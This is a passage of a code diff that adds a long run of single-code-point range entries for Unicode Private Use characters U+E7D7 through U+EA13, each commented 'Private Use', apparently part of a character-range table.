+ ["\uE7D7", "\uE7D7"], /* Private Use */
+ ["\uE7D8", "\uE7D8"], /* Private Use */
+ ["\uE7D9", "\uE7D9"], /* Private Use */
+ ["\uE7DA", "\uE7DA"], /* Private Use */
+ ["\uE7DB", "\uE7DB"], /* Private Use */
+ ["\uE7DC", "\uE7DC"], /* Private Use */
+ ["\uE7DD", "\uE7DD"], /* Private Use */
+ ["\uE7DE", "\uE7DE"], /* Private Use */
+ ["\uE7DF", "\uE7DF"], /* Private Use */
+ ["\uE7E0", "\uE7E0"], /* Private Use */
+ ["\uE7E1", "\uE7E1"], /* Private Use */
+ ["\uE7E2", "\uE7E2"], /* Private Use */
+ ["\uE7E3", "\uE7E3"], /* Private Use */
+ ["\uE7E4", "\uE7E4"], /* Private Use */
+ ["\uE7E5", "\uE7E5"], /* Private Use */
+ ["\uE7E6", "\uE7E6"], /* Private Use */
+ ["\uE7E7", "\uE7E7"], /* Private Use */
+ ["\uE7E8", "\uE7E8"], /* Private Use */
+ ["\uE7E9", "\uE7E9"], /* Private Use */
+ ["\uE7EA", "\uE7EA"], /* Private Use */
+ ["\uE7EB", "\uE7EB"], /* Private Use */
+ ["\uE7EC", "\uE7EC"], /* Private Use */
+ ["\uE7ED", "\uE7ED"], /* Private Use */
+ ["\uE7EE", "\uE7EE"], /* Private Use */
+ ["\uE7EF", "\uE7EF"], /* Private Use */
+ ["\uE7F0", "\uE7F0"], /* Private Use */
+ ["\uE7F1", "\uE7F1"], /* Private Use */
+ ["\uE7F2", "\uE7F2"], /* Private Use */
+ ["\uE7F3", "\uE7F3"], /* Private Use */
+ ["\uE7F4", "\uE7F4"], /* Private Use */
+ ["\uE7F5", "\uE7F5"], /* Private Use */
+ ["\uE7F6", "\uE7F6"], /* Private Use */
+ ["\uE7F7", "\uE7F7"], /* Private Use */
+ ["\uE7F8", "\uE7F8"], /* Private Use */
+ ["\uE7F9", "\uE7F9"], /* Private Use */
+ ["\uE7FA", "\uE7FA"], /* Private Use */
+ ["\uE7FB", "\uE7FB"], /* Private Use */
+ ["\uE7FC", "\uE7FC"], /* Private Use */
+ ["\uE7FD", "\uE7FD"], /* Private Use */
+ ["\uE7FE", "\uE7FE"], /* Private Use */
+ ["\uE7FF", "\uE7FF"], /* Private Use */
+ ["\uE800", "\uE800"], /* Private Use */
+ ["\uE801", "\uE801"], /* Private Use */
+ ["\uE802", "\uE802"], /* Private Use */
+ ["\uE803", "\uE803"], /* Private Use */
+ ["\uE804", "\uE804"], /* Private Use */
+ ["\uE805", "\uE805"], /* Private Use */
+ ["\uE806", "\uE806"], /* Private Use */
+ ["\uE807", "\uE807"], /* Private Use */
+ ["\uE808", "\uE808"], /* Private Use */
+ ["\uE809", "\uE809"], /* Private Use */
+ ["\uE80A", "\uE80A"], /* Private Use */
+ ["\uE80B", "\uE80B"], /* Private Use */
+ ["\uE80C", "\uE80C"], /* Private Use */
+ ["\uE80D", "\uE80D"], /* Private Use */
+ ["\uE80E", "\uE80E"], /* Private Use */
+ ["\uE80F", "\uE80F"], /* Private Use */
+ ["\uE810", "\uE810"], /* Private Use */
+ ["\uE811", "\uE811"], /* Private Use */
+ ["\uE812", "\uE812"], /* Private Use */
+ ["\uE813", "\uE813"], /* Private Use */
+ ["\uE814", "\uE814"], /* Private Use */
+ ["\uE815", "\uE815"], /* Private Use */
+ ["\uE816", "\uE816"], /* Private Use */
+ ["\uE817", "\uE817"], /* Private Use */
+ ["\uE818", "\uE818"], /* Private Use */
+ ["\uE819", "\uE819"], /* Private Use */
+ ["\uE81A", "\uE81A"], /* Private Use */
+ ["\uE81B", "\uE81B"], /* Private Use */
+ ["\uE81C", "\uE81C"], /* Private Use */
+ ["\uE81D", "\uE81D"], /* Private Use */
+ ["\uE81E", "\uE81E"], /* Private Use */
+ ["\uE81F", "\uE81F"], /* Private Use */
+ ["\uE820", "\uE820"], /* Private Use */
+ ["\uE821", "\uE821"], /* Private Use */
+ ["\uE822", "\uE822"], /* Private Use */
+ ["\uE823", "\uE823"], /* Private Use */
+ ["\uE824", "\uE824"], /* Private Use */
+ ["\uE825", "\uE825"], /* Private Use */
+ ["\uE826", "\uE826"], /* Private Use */
+ ["\uE827", "\uE827"], /* Private Use */
+ ["\uE828", "\uE828"], /* Private Use */
+ ["\uE829", "\uE829"], /* Private Use */
+ ["\uE82A", "\uE82A"], /* Private Use */
+ ["\uE82B", "\uE82B"], /* Private Use */
+ ["\uE82C", "\uE82C"], /* Private Use */
+ ["\uE82D", "\uE82D"], /* Private Use */
+ ["\uE82E", "\uE82E"], /* Private Use */
+ ["\uE82F", "\uE82F"], /* Private Use */
+ ["\uE830", "\uE830"], /* Private Use */
+ ["\uE831", "\uE831"], /* Private Use */
+ ["\uE832", "\uE832"], /* Private Use */
+ ["\uE833", "\uE833"], /* Private Use */
+ ["\uE834", "\uE834"], /* Private Use */
+ ["\uE835", "\uE835"], /* Private Use */
+ ["\uE836", "\uE836"], /* Private Use */
+ ["\uE837", "\uE837"], /* Private Use */
+ ["\uE838", "\uE838"], /* Private Use */
+ ["\uE839", "\uE839"], /* Private Use */
+ ["\uE83A", "\uE83A"], /* Private Use */
+ ["\uE83B", "\uE83B"], /* Private Use */
+ ["\uE83C", "\uE83C"], /* Private Use */
+ ["\uE83D", "\uE83D"], /* Private Use */
+ ["\uE83E", "\uE83E"], /* Private Use */
+ ["\uE83F", "\uE83F"], /* Private Use */
+ ["\uE840", "\uE840"], /* Private Use */
+ ["\uE841", "\uE841"], /* Private Use */
+ ["\uE842", "\uE842"], /* Private Use */
+ ["\uE843", "\uE843"], /* Private Use */
+ ["\uE844", "\uE844"], /* Private Use */
+ ["\uE845", "\uE845"], /* Private Use */
+ ["\uE846", "\uE846"], /* Private Use */
+ ["\uE847", "\uE847"], /* Private Use */
+ ["\uE848", "\uE848"], /* Private Use */
+ ["\uE849", "\uE849"], /* Private Use */
+ ["\uE84A", "\uE84A"], /* Private Use */
+ ["\uE84B", "\uE84B"], /* Private Use */
+ ["\uE84C", "\uE84C"], /* Private Use */
+ ["\uE84D", "\uE84D"], /* Private Use */
+ ["\uE84E", "\uE84E"], /* Private Use */
+ ["\uE84F", "\uE84F"], /* Private Use */
+ ["\uE850", "\uE850"], /* Private Use */
+ ["\uE851", "\uE851"], /* Private Use */
+ ["\uE852", "\uE852"], /* Private Use */
+ ["\uE853", "\uE853"], /* Private Use */
+ ["\uE854", "\uE854"], /* Private Use */
+ ["\uE855", "\uE855"], /* Private Use */
+ ["\uE856", "\uE856"], /* Private Use */
+ ["\uE857", "\uE857"], /* Private Use */
+ ["\uE858", "\uE858"], /* Private Use */
+ ["\uE859", "\uE859"], /* Private Use */
+ ["\uE85A", "\uE85A"], /* Private Use */
+ ["\uE85B", "\uE85B"], /* Private Use */
+ ["\uE85C", "\uE85C"], /* Private Use */
+ ["\uE85D", "\uE85D"], /* Private Use */
+ ["\uE85E", "\uE85E"], /* Private Use */
+ ["\uE85F", "\uE85F"], /* Private Use */
+ ["\uE860", "\uE860"], /* Private Use */
+ ["\uE861", "\uE861"], /* Private Use */
+ ["\uE862", "\uE862"], /* Private Use */
+ ["\uE863", "\uE863"], /* Private Use */
+ ["\uE864", "\uE864"], /* Private Use */
+ ["\uE865", "\uE865"], /* Private Use */
+ ["\uE866", "\uE866"], /* Private Use */
+ ["\uE867", "\uE867"], /* Private Use */
+ ["\uE868", "\uE868"], /* Private Use */
+ ["\uE869", "\uE869"], /* Private Use */
+ ["\uE86A", "\uE86A"], /* Private Use */
+ ["\uE86B", "\uE86B"], /* Private Use */
+ ["\uE86C", "\uE86C"], /* Private Use */
+ ["\uE86D", "\uE86D"], /* Private Use */
+ ["\uE86E", "\uE86E"], /* Private Use */
+ ["\uE86F", "\uE86F"], /* Private Use */
+ ["\uE870", "\uE870"], /* Private Use */
+ ["\uE871", "\uE871"], /* Private Use */
+ ["\uE872", "\uE872"], /* Private Use */
+ ["\uE873", "\uE873"], /* Private Use */
+ ["\uE874", "\uE874"], /* Private Use */
+ ["\uE875", "\uE875"], /* Private Use */
+ ["\uE876", "\uE876"], /* Private Use */
+ ["\uE877", "\uE877"], /* Private Use */
+ ["\uE878", "\uE878"], /* Private Use */
+ ["\uE879", "\uE879"], /* Private Use */
+ ["\uE87A", "\uE87A"], /* Private Use */
+ ["\uE87B", "\uE87B"], /* Private Use */
+ ["\uE87C", "\uE87C"], /* Private Use */
+ ["\uE87D", "\uE87D"], /* Private Use */
+ ["\uE87E", "\uE87E"], /* Private Use */
+ ["\uE87F", "\uE87F"], /* Private Use */
+ ["\uE880", "\uE880"], /* Private Use */
+ ["\uE881", "\uE881"], /* Private Use */
+ ["\uE882", "\uE882"], /* Private Use */
+ ["\uE883", "\uE883"], /* Private Use */
+ ["\uE884", "\uE884"], /* Private Use */
+ ["\uE885", "\uE885"], /* Private Use */
+ ["\uE886", "\uE886"], /* Private Use */
+ ["\uE887", "\uE887"], /* Private Use */
+ ["\uE888", "\uE888"], /* Private Use */
+ ["\uE889", "\uE889"], /* Private Use */
+ ["\uE88A", "\uE88A"], /* Private Use */
+ ["\uE88B", "\uE88B"], /* Private Use */
+ ["\uE88C", "\uE88C"], /* Private Use */
+ ["\uE88D", "\uE88D"], /* Private Use */
+ ["\uE88E", "\uE88E"], /* Private Use */
+ ["\uE88F", "\uE88F"], /* Private Use */
+ ["\uE890", "\uE890"], /* Private Use */
+ ["\uE891", "\uE891"], /* Private Use */
+ ["\uE892", "\uE892"], /* Private Use */
+ ["\uE893", "\uE893"], /* Private Use */
+ ["\uE894", "\uE894"], /* Private Use */
+ ["\uE895", "\uE895"], /* Private Use */
+ ["\uE896", "\uE896"], /* Private Use */
+ ["\uE897", "\uE897"], /* Private Use */
+ ["\uE898", "\uE898"], /* Private Use */
+ ["\uE899", "\uE899"], /* Private Use */
+ ["\uE89A", "\uE89A"], /* Private Use */
+ ["\uE89B", "\uE89B"], /* Private Use */
+ ["\uE89C", "\uE89C"], /* Private Use */
+ ["\uE89D", "\uE89D"], /* Private Use */
+ ["\uE89E", "\uE89E"], /* Private Use */
+ ["\uE89F", "\uE89F"], /* Private Use */
+ ["\uE8A0", "\uE8A0"], /* Private Use */
+ ["\uE8A1", "\uE8A1"], /* Private Use */
+ ["\uE8A2", "\uE8A2"], /* Private Use */
+ ["\uE8A3", "\uE8A3"], /* Private Use */
+ ["\uE8A4", "\uE8A4"], /* Private Use */
+ ["\uE8A5", "\uE8A5"], /* Private Use */
+ ["\uE8A6", "\uE8A6"], /* Private Use */
+ ["\uE8A7", "\uE8A7"], /* Private Use */
+ ["\uE8A8", "\uE8A8"], /* Private Use */
+ ["\uE8A9", "\uE8A9"], /* Private Use */
+ ["\uE8AA", "\uE8AA"], /* Private Use */
+ ["\uE8AB", "\uE8AB"], /* Private Use */
+ ["\uE8AC", "\uE8AC"], /* Private Use */
+ ["\uE8AD", "\uE8AD"], /* Private Use */
+ ["\uE8AE", "\uE8AE"], /* Private Use */
+ ["\uE8AF", "\uE8AF"], /* Private Use */
+ ["\uE8B0", "\uE8B0"], /* Private Use */
+ ["\uE8B1", "\uE8B1"], /* Private Use */
+ ["\uE8B2", "\uE8B2"], /* Private Use */
+ ["\uE8B3", "\uE8B3"], /* Private Use */
+ ["\uE8B4", "\uE8B4"], /* Private Use */
+ ["\uE8B5", "\uE8B5"], /* Private Use */
+ ["\uE8B6", "\uE8B6"], /* Private Use */
+ ["\uE8B7", "\uE8B7"], /* Private Use */
+ ["\uE8B8", "\uE8B8"], /* Private Use */
+ ["\uE8B9", "\uE8B9"], /* Private Use */
+ ["\uE8BA", "\uE8BA"], /* Private Use */
+ ["\uE8BB", "\uE8BB"], /* Private Use */
+ ["\uE8BC", "\uE8BC"], /* Private Use */
+ ["\uE8BD", "\uE8BD"], /* Private Use */
+ ["\uE8BE", "\uE8BE"], /* Private Use */
+ ["\uE8BF", "\uE8BF"], /* Private Use */
+ ["\uE8C0", "\uE8C0"], /* Private Use */
+ ["\uE8C1", "\uE8C1"], /* Private Use */
+ ["\uE8C2", "\uE8C2"], /* Private Use */
+ ["\uE8C3", "\uE8C3"], /* Private Use */
+ ["\uE8C4", "\uE8C4"], /* Private Use */
+ ["\uE8C5", "\uE8C5"], /* Private Use */
+ ["\uE8C6", "\uE8C6"], /* Private Use */
+ ["\uE8C7", "\uE8C7"], /* Private Use */
+ ["\uE8C8", "\uE8C8"], /* Private Use */
+ ["\uE8C9", "\uE8C9"], /* Private Use */
+ ["\uE8CA", "\uE8CA"], /* Private Use */
+ ["\uE8CB", "\uE8CB"], /* Private Use */
+ ["\uE8CC", "\uE8CC"], /* Private Use */
+ ["\uE8CD", "\uE8CD"], /* Private Use */
+ ["\uE8CE", "\uE8CE"], /* Private Use */
+ ["\uE8CF", "\uE8CF"], /* Private Use */
+ ["\uE8D0", "\uE8D0"], /* Private Use */
+ ["\uE8D1", "\uE8D1"], /* Private Use */
+ ["\uE8D2", "\uE8D2"], /* Private Use */
+ ["\uE8D3", "\uE8D3"], /* Private Use */
+ ["\uE8D4", "\uE8D4"], /* Private Use */
+ ["\uE8D5", "\uE8D5"], /* Private Use */
+ ["\uE8D6", "\uE8D6"], /* Private Use */
+ ["\uE8D7", "\uE8D7"], /* Private Use */
+ ["\uE8D8", "\uE8D8"], /* Private Use */
+ ["\uE8D9", "\uE8D9"], /* Private Use */
+ ["\uE8DA", "\uE8DA"], /* Private Use */
+ ["\uE8DB", "\uE8DB"], /* Private Use */
+ ["\uE8DC", "\uE8DC"], /* Private Use */
+ ["\uE8DD", "\uE8DD"], /* Private Use */
+ ["\uE8DE", "\uE8DE"], /* Private Use */
+ ["\uE8DF", "\uE8DF"], /* Private Use */
+ ["\uE8E0", "\uE8E0"], /* Private Use */
+ ["\uE8E1", "\uE8E1"], /* Private Use */
+ ["\uE8E2", "\uE8E2"], /* Private Use */
+ ["\uE8E3", "\uE8E3"], /* Private Use */
+ ["\uE8E4", "\uE8E4"], /* Private Use */
+ ["\uE8E5", "\uE8E5"], /* Private Use */
+ ["\uE8E6", "\uE8E6"], /* Private Use */
+ ["\uE8E7", "\uE8E7"], /* Private Use */
+ ["\uE8E8", "\uE8E8"], /* Private Use */
+ ["\uE8E9", "\uE8E9"], /* Private Use */
+ ["\uE8EA", "\uE8EA"], /* Private Use */
+ ["\uE8EB", "\uE8EB"], /* Private Use */
+ ["\uE8EC", "\uE8EC"], /* Private Use */
+ ["\uE8ED", "\uE8ED"], /* Private Use */
+ ["\uE8EE", "\uE8EE"], /* Private Use */
+ ["\uE8EF", "\uE8EF"], /* Private Use */
+ ["\uE8F0", "\uE8F0"], /* Private Use */
+ ["\uE8F1", "\uE8F1"], /* Private Use */
+ ["\uE8F2", "\uE8F2"], /* Private Use */
+ ["\uE8F3", "\uE8F3"], /* Private Use */
+ ["\uE8F4", "\uE8F4"], /* Private Use */
+ ["\uE8F5", "\uE8F5"], /* Private Use */
+ ["\uE8F6", "\uE8F6"], /* Private Use */
+ ["\uE8F7", "\uE8F7"], /* Private Use */
+ ["\uE8F8", "\uE8F8"], /* Private Use */
+ ["\uE8F9", "\uE8F9"], /* Private Use */
+ ["\uE8FA", "\uE8FA"], /* Private Use */
+ ["\uE8FB", "\uE8FB"], /* Private Use */
+ ["\uE8FC", "\uE8FC"], /* Private Use */
+ ["\uE8FD", "\uE8FD"], /* Private Use */
+ ["\uE8FE", "\uE8FE"], /* Private Use */
+ ["\uE8FF", "\uE8FF"], /* Private Use */
+ ["\uE900", "\uE900"], /* Private Use */
+ ["\uE901", "\uE901"], /* Private Use */
+ ["\uE902", "\uE902"], /* Private Use */
+ ["\uE903", "\uE903"], /* Private Use */
+ ["\uE904", "\uE904"], /* Private Use */
+ ["\uE905", "\uE905"], /* Private Use */
+ ["\uE906", "\uE906"], /* Private Use */
+ ["\uE907", "\uE907"], /* Private Use */
+ ["\uE908", "\uE908"], /* Private Use */
+ ["\uE909", "\uE909"], /* Private Use */
+ ["\uE90A", "\uE90A"], /* Private Use */
+ ["\uE90B", "\uE90B"], /* Private Use */
+ ["\uE90C", "\uE90C"], /* Private Use */
+ ["\uE90D", "\uE90D"], /* Private Use */
+ ["\uE90E", "\uE90E"], /* Private Use */
+ ["\uE90F", "\uE90F"], /* Private Use */
+ ["\uE910", "\uE910"], /* Private Use */
+ ["\uE911", "\uE911"], /* Private Use */
+ ["\uE912", "\uE912"], /* Private Use */
+ ["\uE913", "\uE913"], /* Private Use */
+ ["\uE914", "\uE914"], /* Private Use */
+ ["\uE915", "\uE915"], /* Private Use */
+ ["\uE916", "\uE916"], /* Private Use */
+ ["\uE917", "\uE917"], /* Private Use */
+ ["\uE918", "\uE918"], /* Private Use */
+ ["\uE919", "\uE919"], /* Private Use */
+ ["\uE91A", "\uE91A"], /* Private Use */
+ ["\uE91B", "\uE91B"], /* Private Use */
+ ["\uE91C", "\uE91C"], /* Private Use */
+ ["\uE91D", "\uE91D"], /* Private Use */
+ ["\uE91E", "\uE91E"], /* Private Use */
+ ["\uE91F", "\uE91F"], /* Private Use */
+ ["\uE920", "\uE920"], /* Private Use */
+ ["\uE921", "\uE921"], /* Private Use */
+ ["\uE922", "\uE922"], /* Private Use */
+ ["\uE923", "\uE923"], /* Private Use */
+ ["\uE924", "\uE924"], /* Private Use */
+ ["\uE925", "\uE925"], /* Private Use */
+ ["\uE926", "\uE926"], /* Private Use */
+ ["\uE927", "\uE927"], /* Private Use */
+ ["\uE928", "\uE928"], /* Private Use */
+ ["\uE929", "\uE929"], /* Private Use */
+ ["\uE92A", "\uE92A"], /* Private Use */
+ ["\uE92B", "\uE92B"], /* Private Use */
+ ["\uE92C", "\uE92C"], /* Private Use */
+ ["\uE92D", "\uE92D"], /* Private Use */
+ ["\uE92E", "\uE92E"], /* Private Use */
+ ["\uE92F", "\uE92F"], /* Private Use */
+ ["\uE930", "\uE930"], /* Private Use */
+ ["\uE931", "\uE931"], /* Private Use */
+ ["\uE932", "\uE932"], /* Private Use */
+ ["\uE933", "\uE933"], /* Private Use */
+ ["\uE934", "\uE934"], /* Private Use */
+ ["\uE935", "\uE935"], /* Private Use */
+ ["\uE936", "\uE936"], /* Private Use */
+ ["\uE937", "\uE937"], /* Private Use */
+ ["\uE938", "\uE938"], /* Private Use */
+ ["\uE939", "\uE939"], /* Private Use */
+ ["\uE93A", "\uE93A"], /* Private Use */
+ ["\uE93B", "\uE93B"], /* Private Use */
+ ["\uE93C", "\uE93C"], /* Private Use */
+ ["\uE93D", "\uE93D"], /* Private Use */
+ ["\uE93E", "\uE93E"], /* Private Use */
+ ["\uE93F", "\uE93F"], /* Private Use */
+ ["\uE940", "\uE940"], /* Private Use */
+ ["\uE941", "\uE941"], /* Private Use */
+ ["\uE942", "\uE942"], /* Private Use */
+ ["\uE943", "\uE943"], /* Private Use */
+ ["\uE944", "\uE944"], /* Private Use */
+ ["\uE945", "\uE945"], /* Private Use */
+ ["\uE946", "\uE946"], /* Private Use */
+ ["\uE947", "\uE947"], /* Private Use */
+ ["\uE948", "\uE948"], /* Private Use */
+ ["\uE949", "\uE949"], /* Private Use */
+ ["\uE94A", "\uE94A"], /* Private Use */
+ ["\uE94B", "\uE94B"], /* Private Use */
+ ["\uE94C", "\uE94C"], /* Private Use */
+ ["\uE94D", "\uE94D"], /* Private Use */
+ ["\uE94E", "\uE94E"], /* Private Use */
+ ["\uE94F", "\uE94F"], /* Private Use */
+ ["\uE950", "\uE950"], /* Private Use */
+ ["\uE951", "\uE951"], /* Private Use */
+ ["\uE952", "\uE952"], /* Private Use */
+ ["\uE953", "\uE953"], /* Private Use */
+ ["\uE954", "\uE954"], /* Private Use */
+ ["\uE955", "\uE955"], /* Private Use */
+ ["\uE956", "\uE956"], /* Private Use */
+ ["\uE957", "\uE957"], /* Private Use */
+ ["\uE958", "\uE958"], /* Private Use */
+ ["\uE959", "\uE959"], /* Private Use */
+ ["\uE95A", "\uE95A"], /* Private Use */
+ ["\uE95B", "\uE95B"], /* Private Use */
+ ["\uE95C", "\uE95C"], /* Private Use */
+ ["\uE95D", "\uE95D"], /* Private Use */
+ ["\uE95E", "\uE95E"], /* Private Use */
+ ["\uE95F", "\uE95F"], /* Private Use */
+ ["\uE960", "\uE960"], /* Private Use */
+ ["\uE961", "\uE961"], /* Private Use */
+ ["\uE962", "\uE962"], /* Private Use */
+ ["\uE963", "\uE963"], /* Private Use */
+ ["\uE964", "\uE964"], /* Private Use */
+ ["\uE965", "\uE965"], /* Private Use */
+ ["\uE966", "\uE966"], /* Private Use */
+ ["\uE967", "\uE967"], /* Private Use */
+ ["\uE968", "\uE968"], /* Private Use */
+ ["\uE969", "\uE969"], /* Private Use */
+ ["\uE96A", "\uE96A"], /* Private Use */
+ ["\uE96B", "\uE96B"], /* Private Use */
+ ["\uE96C", "\uE96C"], /* Private Use */
+ ["\uE96D", "\uE96D"], /* Private Use */
+ ["\uE96E", "\uE96E"], /* Private Use */
+ ["\uE96F", "\uE96F"], /* Private Use */
+ ["\uE970", "\uE970"], /* Private Use */
+ ["\uE971", "\uE971"], /* Private Use */
+ ["\uE972", "\uE972"], /* Private Use */
+ ["\uE973", "\uE973"], /* Private Use */
+ ["\uE974", "\uE974"], /* Private Use */
+ ["\uE975", "\uE975"], /* Private Use */
+ ["\uE976", "\uE976"], /* Private Use */
+ ["\uE977", "\uE977"], /* Private Use */
+ ["\uE978", "\uE978"], /* Private Use */
+ ["\uE979", "\uE979"], /* Private Use */
+ ["\uE97A", "\uE97A"], /* Private Use */
+ ["\uE97B", "\uE97B"], /* Private Use */
+ ["\uE97C", "\uE97C"], /* Private Use */
+ ["\uE97D", "\uE97D"], /* Private Use */
+ ["\uE97E", "\uE97E"], /* Private Use */
+ ["\uE97F", "\uE97F"], /* Private Use */
+ ["\uE980", "\uE980"], /* Private Use */
+ ["\uE981", "\uE981"], /* Private Use */
+ ["\uE982", "\uE982"], /* Private Use */
+ ["\uE983", "\uE983"], /* Private Use */
+ ["\uE984", "\uE984"], /* Private Use */
+ ["\uE985", "\uE985"], /* Private Use */
+ ["\uE986", "\uE986"], /* Private Use */
+ ["\uE987", "\uE987"], /* Private Use */
+ ["\uE988", "\uE988"], /* Private Use */
+ ["\uE989", "\uE989"], /* Private Use */
+ ["\uE98A", "\uE98A"], /* Private Use */
+ ["\uE98B", "\uE98B"], /* Private Use */
+ ["\uE98C", "\uE98C"], /* Private Use */
+ ["\uE98D", "\uE98D"], /* Private Use */
+ ["\uE98E", "\uE98E"], /* Private Use */
+ ["\uE98F", "\uE98F"], /* Private Use */
+ ["\uE990", "\uE990"], /* Private Use */
+ ["\uE991", "\uE991"], /* Private Use */
+ ["\uE992", "\uE992"], /* Private Use */
+ ["\uE993", "\uE993"], /* Private Use */
+ ["\uE994", "\uE994"], /* Private Use */
+ ["\uE995", "\uE995"], /* Private Use */
+ ["\uE996", "\uE996"], /* Private Use */
+ ["\uE997", "\uE997"], /* Private Use */
+ ["\uE998", "\uE998"], /* Private Use */
+ ["\uE999", "\uE999"], /* Private Use */
+ ["\uE99A", "\uE99A"], /* Private Use */
+ ["\uE99B", "\uE99B"], /* Private Use */
+ ["\uE99C", "\uE99C"], /* Private Use */
+ ["\uE99D", "\uE99D"], /* Private Use */
+ ["\uE99E", "\uE99E"], /* Private Use */
+ ["\uE99F", "\uE99F"], /* Private Use */
+ ["\uE9A0", "\uE9A0"], /* Private Use */
+ ["\uE9A1", "\uE9A1"], /* Private Use */
+ ["\uE9A2", "\uE9A2"], /* Private Use */
+ ["\uE9A3", "\uE9A3"], /* Private Use */
+ ["\uE9A4", "\uE9A4"], /* Private Use */
+ ["\uE9A5", "\uE9A5"], /* Private Use */
+ ["\uE9A6", "\uE9A6"], /* Private Use */
+ ["\uE9A7", "\uE9A7"], /* Private Use */
+ ["\uE9A8", "\uE9A8"], /* Private Use */
+ ["\uE9A9", "\uE9A9"], /* Private Use */
+ ["\uE9AA", "\uE9AA"], /* Private Use */
+ ["\uE9AB", "\uE9AB"], /* Private Use */
+ ["\uE9AC", "\uE9AC"], /* Private Use */
+ ["\uE9AD", "\uE9AD"], /* Private Use */
+ ["\uE9AE", "\uE9AE"], /* Private Use */
+ ["\uE9AF", "\uE9AF"], /* Private Use */
+ ["\uE9B0", "\uE9B0"], /* Private Use */
+ ["\uE9B1", "\uE9B1"], /* Private Use */
+ ["\uE9B2", "\uE9B2"], /* Private Use */
+ ["\uE9B3", "\uE9B3"], /* Private Use */
+ ["\uE9B4", "\uE9B4"], /* Private Use */
+ ["\uE9B5", "\uE9B5"], /* Private Use */
+ ["\uE9B6", "\uE9B6"], /* Private Use */
+ ["\uE9B7", "\uE9B7"], /* Private Use */
+ ["\uE9B8", "\uE9B8"], /* Private Use */
+ ["\uE9B9", "\uE9B9"], /* Private Use */
+ ["\uE9BA", "\uE9BA"], /* Private Use */
+ ["\uE9BB", "\uE9BB"], /* Private Use */
+ ["\uE9BC", "\uE9BC"], /* Private Use */
+ ["\uE9BD", "\uE9BD"], /* Private Use */
+ ["\uE9BE", "\uE9BE"], /* Private Use */
+ ["\uE9BF", "\uE9BF"], /* Private Use */
+ ["\uE9C0", "\uE9C0"], /* Private Use */
+ ["\uE9C1", "\uE9C1"], /* Private Use */
+ ["\uE9C2", "\uE9C2"], /* Private Use */
+ ["\uE9C3", "\uE9C3"], /* Private Use */
+ ["\uE9C4", "\uE9C4"], /* Private Use */
+ ["\uE9C5", "\uE9C5"], /* Private Use */
+ ["\uE9C6", "\uE9C6"], /* Private Use */
+ ["\uE9C7", "\uE9C7"], /* Private Use */
+ ["\uE9C8", "\uE9C8"], /* Private Use */
+ ["\uE9C9", "\uE9C9"], /* Private Use */
+ ["\uE9CA", "\uE9CA"], /* Private Use */
+ ["\uE9CB", "\uE9CB"], /* Private Use */
+ ["\uE9CC", "\uE9CC"], /* Private Use */
+ ["\uE9CD", "\uE9CD"], /* Private Use */
+ ["\uE9CE", "\uE9CE"], /* Private Use */
+ ["\uE9CF", "\uE9CF"], /* Private Use */
+ ["\uE9D0", "\uE9D0"], /* Private Use */
+ ["\uE9D1", "\uE9D1"], /* Private Use */
+ ["\uE9D2", "\uE9D2"], /* Private Use */
+ ["\uE9D3", "\uE9D3"], /* Private Use */
+ ["\uE9D4", "\uE9D4"], /* Private Use */
+ ["\uE9D5", "\uE9D5"], /* Private Use */
+ ["\uE9D6", "\uE9D6"], /* Private Use */
+ ["\uE9D7", "\uE9D7"], /* Private Use */
+ ["\uE9D8", "\uE9D8"], /* Private Use */
+ ["\uE9D9", "\uE9D9"], /* Private Use */
+ ["\uE9DA", "\uE9DA"], /* Private Use */
+ ["\uE9DB", "\uE9DB"], /* Private Use */
+ ["\uE9DC", "\uE9DC"], /* Private Use */
+ ["\uE9DD", "\uE9DD"], /* Private Use */
+ ["\uE9DE", "\uE9DE"], /* Private Use */
+ ["\uE9DF", "\uE9DF"], /* Private Use */
+ ["\uE9E0", "\uE9E0"], /* Private Use */
+ ["\uE9E1", "\uE9E1"], /* Private Use */
+ ["\uE9E2", "\uE9E2"], /* Private Use */
+ ["\uE9E3", "\uE9E3"], /* Private Use */
+ ["\uE9E4", "\uE9E4"], /* Private Use */
+ ["\uE9E5", "\uE9E5"], /* Private Use */
+ ["\uE9E6", "\uE9E6"], /* Private Use */
+ ["\uE9E7", "\uE9E7"], /* Private Use */
+ ["\uE9E8", "\uE9E8"], /* Private Use */
+ ["\uE9E9", "\uE9E9"], /* Private Use */
+ ["\uE9EA", "\uE9EA"], /* Private Use */
+ ["\uE9EB", "\uE9EB"], /* Private Use */
+ ["\uE9EC", "\uE9EC"], /* Private Use */
+ ["\uE9ED", "\uE9ED"], /* Private Use */
+ ["\uE9EE", "\uE9EE"], /* Private Use */
+ ["\uE9EF", "\uE9EF"], /* Private Use */
+ ["\uE9F0", "\uE9F0"], /* Private Use */
+ ["\uE9F1", "\uE9F1"], /* Private Use */
+ ["\uE9F2", "\uE9F2"], /* Private Use */
+ ["\uE9F3", "\uE9F3"], /* Private Use */
+ ["\uE9F4", "\uE9F4"], /* Private Use */
+ ["\uE9F5", "\uE9F5"], /* Private Use */
+ ["\uE9F6", "\uE9F6"], /* Private Use */
+ ["\uE9F7", "\uE9F7"], /* Private Use */
+ ["\uE9F8", "\uE9F8"], /* Private Use */
+ ["\uE9F9", "\uE9F9"], /* Private Use */
+ ["\uE9FA", "\uE9FA"], /* Private Use */
+ ["\uE9FB", "\uE9FB"], /* Private Use */
+ ["\uE9FC", "\uE9FC"], /* Private Use */
+ ["\uE9FD", "\uE9FD"], /* Private Use */
+ ["\uE9FE", "\uE9FE"], /* Private Use */
+ ["\uE9FF", "\uE9FF"], /* Private Use */
+ ["\uEA00", "\uEA00"], /* Private Use */
+ ["\uEA01", "\uEA01"], /* Private Use */
+ ["\uEA02", "\uEA02"], /* Private Use */
+ ["\uEA03", "\uEA03"], /* Private Use */
+ ["\uEA04", "\uEA04"], /* Private Use */
+ ["\uEA05", "\uEA05"], /* Private Use */
+ ["\uEA06", "\uEA06"], /* Private Use */
+ ["\uEA07", "\uEA07"], /* Private Use */
+ ["\uEA08", "\uEA08"], /* Private Use */
+ ["\uEA09", "\uEA09"], /* Private Use */
+ ["\uEA0A", "\uEA0A"], /* Private Use */
+ ["\uEA0B", "\uEA0B"], /* Private Use */
+ ["\uEA0C", "\uEA0C"], /* Private Use */
+ ["\uEA0D", "\uEA0D"], /* Private Use */
+ ["\uEA0E", "\uEA0E"], /* Private Use */
+ ["\uEA0F", "\uEA0F"], /* Private Use */
+ ["\uEA10", "\uEA10"], /* Private Use */
+ ["\uEA11", "\uEA11"], /* Private Use */
+ ["\uEA12", "\uEA12"], /* Private Use */
+ ["\uEA13", "\uEA13"], /* Private Use */
